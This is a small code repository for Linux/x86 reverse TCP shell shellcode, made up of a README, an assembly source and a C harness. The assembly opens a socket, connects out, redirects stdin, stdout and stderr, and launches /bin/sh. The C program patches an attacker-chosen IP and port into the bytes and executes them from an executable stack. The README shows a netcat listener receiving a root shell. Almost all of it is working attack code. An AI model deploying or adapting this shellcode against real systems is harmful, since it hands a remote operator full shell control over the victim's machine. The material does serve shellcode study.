├── README.md ├── map.asm └── map.c /README.md: -------------------------------------------------------------------------------- 1 | # Linux-x86-Reverse-Shell 2 | 3 | Linux/x86 Reverse TCP Shell with dynamic IP and port binding Shellcode (tested on Ubuntu 12.04 LTS) 4 | Usage: gcc -z execstack -o shell_reverse_tcp shell_reverse_tcp.c 5 | $ ./shell_reverse_tcp_shellcode 192.168.1.137 4444 6 | Connecting to 192.168.1.236 (0xec01a8c0):4444 (0x115c) 7 | Byte 26: c0 8 | Byte 27: a8 9 | Byte 28: 01 10 | Byte 29: ec 11 | 12 | $ nc -nlv 4444 13 | Listening on 0.0.0.0 4444 14 | Connection received on 192.168.1.137 45219 15 | id 16 | uid=0(root) gid=0(root) groups=0(root)es) 17 | -------------------------------------------------------------------------------- /map.asm: -------------------------------------------------------------------------------- 1 | 2 | ; shellcode assembly 3 | 4 | global _start: 5 | 6 | section .text 7 | 8 | _start: 9 | ; socketcall (0x66) 10 | ; syscall SYS_SOCKET (0x01) - int socket(int domain, int type, int protocol); 11 | xor eax, eax 12 | xor ebx, ebx 13 | mov al, 0x66 14 | mov bl, 0x01 15 | 16 | ; pushing arguments to the stack backwards: int protocol (PF_INET, SOCK_STREAM, 0) 17 | xor edx, edx 18 | push edx ; int domain 19 | 20 | push 0x01 ; SOCK_STREAM 21 | push 0x02 ; PF_INET (AF_INET and PF_INET is the same) 22 | 23 | mov ecx, esp 24 | 25 | ; syscall 26 | int 0x80 27 | 28 | ; save returned file descriptor from eax into esi for later use 29 | mov esi, eax 30 | 31 | ; socketcall (0x66) 32 | ; syscall SYS_CONNECT (0x03) - int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen); 33 | mov al, 0x66 34 | mov bl, 0x03 35 | 36 | ; pushing arguments to the stack backwards: 37 | ; connect(sockid, (struct sockaddr *) &addrport, sizeof(addrport)); 38 | 39 | push 0x0101017f ; 127.1.1.1 40 | push word 0x5c11 ; port 4444 41 | push word 0x02 ; PF_INET 42 | 43 | mov ecx, esp 44 | 45 | push 0x10 ; sockaddr length 46 | push ecx ; sockaddr pointer 47 | push esi ; saved socket descriptor 48 | 49 | mov ecx, esp 50 | 51 | ; syscall 52 | int 0x80 53 | 54 | 55 | ; dup2 - __NR_dup2 63 56 | ; dup2(0), dup2(1), dup2(2) 57 | ; (0 - stdin, 1 - stdout, 2 - stderr) 58 | 59 | ; let's put all this in a loop 60 | xor ecx, ecx 61 | 62 | DUPCOUNT: 63 | ; int dup2(int oldfd, int newfd); 64 | xor eax, eax 65 | mov al, 0x3f 66 | 67 | ; ebx (socket descriptor, being copied over from esi saved earlier) 68 | ; ecx will be calculated automatically based on the loop value 69 | 70 | ; xor ebx, ebx 71 | mov ebx, esi ; saved socket descriptor 72 | ; syscall 73 | int 0x80 74 | 75 | inc cl 76 | cmp cx, 2 77 | jle DUPCOUNT ; count until 2 is reached 78 | 79 | 80 | ; execve (0x0b) 81 | ; /bin//sh 82 | xor eax, eax 83 | ; xor ebx, ebx 84 | push eax ; reserve some bytes in the stack to work with 85 | 86 | mov al, 0x0b 87 | push 0x68732f2f ; //sh 88 | push 0x6e69622f ; /bin 89 | mov ebx, esp 90 | 91 | xor ecx, ecx 92 | 93 | ; syscall 94 | int 0x80 95 | -------------------------------------------------------------------------------- /map.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | unsigned char shellcode[] = \ 6 | "\x31\xc0\x31\xdb\xb0\x66\xb3\x01\x31\xd2\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0\x66\xb3\x03\x68\x7f\x01\x01\x01\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\x31\xc9\x31\xc0\xb0\x3f\x89\xf3\xcd\x80\xfe\xc1\x66\x83\xf9\x02\x7e\xf0\x31\xc0\x50\xb0\x0b\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80"; //IP address at 26th byte; Port at 32nd byte 7 | 8 | main(int argc, char *argv[]) 9 | { 10 | 11 | /* Default IP and port at 26th and 32nd byte index: \x7f\x01\x01\x01 \x11\x5c */ 12 | 13 | // in case no port is provided the default would be used 14 | if (argc < 3) { 15 | printf("No IP or port provided, 127.1.1.1:4444 (0x7f010101:0x115c) will be used\n"); 16 | } 17 | else 18 | { 19 | 20 | // convert IP address to binary representation and store in ipaddr.sin_addr.s_addr 21 | struct sockaddr_in ipaddr; 22 | inet_aton(argv[1], &ipaddr.sin_addr.s_addr); 23 | 24 | int port = atoi(argv[2]); 25 | printf("Connecting to %s (0x%x):%d (0x%x)\n", argv[1], ipaddr.sin_addr.s_addr, port, port); 26 | 27 | unsigned int p1 = (port >> 8) & 0xff; 28 | unsigned int p2 = port & 0xff; 29 | // printf("%x %x\n", p1, p2); 30 | 31 | shellcode[32] = (unsigned char){p1}; 32 | shellcode[33] = (unsigned char){p2}; 33 | 34 | /* 1st byte: 0xAABBCCDD >> 0 & 0xff 35 | 2nd byte: 0xAABBCCDD >> 8 & 0xff 36 | 3rd byte: 0xAABBCCDD >> 16 & 0xff 37 | 4th byte: 0xAABBCCDD >> 24 & 0xff 38 | */ 39 | 40 | int i, a; 41 | for (i = 26, a = 0; i <= 29; i++, a+=8) 42 | { 43 | shellcode[i] = (ipaddr.sin_addr.s_addr >> a) & 0xff ; 44 | printf("Byte %d: %.02x\n", i, shellcode[i]); 45 | } 46 | } 47 | 48 | int (*ret)() = (int(*)())shellcode; 49 | 50 | ret(); 51 | 52 | } 53 | 54 | --------------------------------------------------------------------------------